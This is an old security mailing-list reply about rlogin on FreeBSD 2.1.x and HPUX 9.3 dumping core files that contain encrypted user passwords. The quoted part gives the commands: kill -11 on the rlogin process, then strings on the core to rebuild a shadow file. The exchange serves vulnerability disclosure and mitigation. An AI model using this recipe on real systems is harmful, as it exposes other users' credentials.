Re: FreeBSD,rlogin and coredumps.

[lerperg () HUSC HARVARD EDU (Michael Lerperger)]

This behavior is reproducible on HPUX v9.3 Series 700 machines with the
rlogin cumulative patch PHNE_8805 installed. It was possible to extract
about 265 encrypted user passwords from the core file.

rlogind is disabled now on all HPUX v9.3 systems over here.

-Michael


> I tried this technique on my FreeBSD 2.1.0 box. It didn't work. I started
> playing around with dump files:
>
> ~> rlogin 127.0.0.1
> Password:
> Last login: Mon Feb 17 00:35:49 from localhost
> Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
>         The Regents of the University of California.   All rights reserved.
>
> FreeBSD 2.1.0-RELEASE (WIPS) #0: Thu Oct 17 03:37:25 SAT 1996
>
> You have new mail.
>
> ~> ps -ax | grep rlogin
>  6528  ??  S      0:00.06 rlogind
>  6527  p1  S+     0:00.05 rlogin 127.0.0.1
>  6529  p1  S+     0:00.01 rlogin 127.0.0.1
>
> ~> kill -11 6529~> ls
> Brain_Box       NS              cronjobs        mail            security
> Mail            News            foon            rlogin.core
> ~>strings rlogin.core > unshadowed.passwdfile.reconstruct
> ~>vi unshadowed.passwdfile.reconstruct
> and reconstruct..
>
> I also tried this on a FreeBSD 2.1.5 box, and it did the same thing. I
> wonder if there is a way to make a core dump only readable by root, and why
> this isn't the default?